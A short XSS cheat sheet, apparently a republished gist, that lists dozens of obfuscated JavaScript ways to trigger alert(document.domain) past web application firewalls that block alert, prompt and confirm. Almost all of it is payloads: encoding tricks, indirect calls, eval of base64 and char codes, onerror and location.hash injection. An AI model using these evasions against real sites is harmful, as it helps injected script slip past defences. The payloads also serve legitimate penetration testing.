Many times when testing for XSS, alert(), prompt() and confirm() is blocked by WAF. In situations like these we can use alternative ways to do alert()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
top['alert'](document.domain);
top[8680439..toString(30)](document.domain);
top[/alert/.source](document.domain);
alert(this['document']['domain']);
// Indirect Invocation
alert.call(null, document.domain);
alert.apply(null, [document.domain]);
alert.bind()(document.domain);
Reflect.apply(alert, null, [document.domain]);
alert.valueOf()(document.domain);
with(document) alert(domain);
Promise.all([document.domain]).then(alert);
document.domain.replace(/.*/, alert);
// Array methods
[document.domain].find(alert);
[document.domain].findIndex(alert);
[document.domain].filter(alert);
[document.domain].every(alert);
[document.domain].forEach(alert);
// Alternate array syntax (all array methods apply)
Array(document.domain).find(alert);
Array.of(document.domain).find(alert);
(new Array(document.domain)).find(alert);
// Other Datastructure Methods
(new Map()).set(1, document.domain).forEach(alert);
(new Set([document.domain])).forEach(alert);
// Evaluated
eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs='));
eval(atob(/YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs=/.source));
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,59));
setTimeout`alert\u0028document.domain\u0029`;
Set.constructor`alert\x28document.domain\x29```;
(new Function('alert(document.domain)'))();
(new (Object.getPrototypeOf(async function(){}).constructor)('alert(document.domain)'))();
Function('x','alert(x)')(document.domain);
// Template Literal Expression
`${alert(document.domain)}`;
// onerror assignment
onerror=alert;throw document.domain;
onerror=eval;throw'=alert\x28document.domain\x29';
// With location.hash = #alert(document.domain)
eval(location.hash.substr(1))
Credit and source:
https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309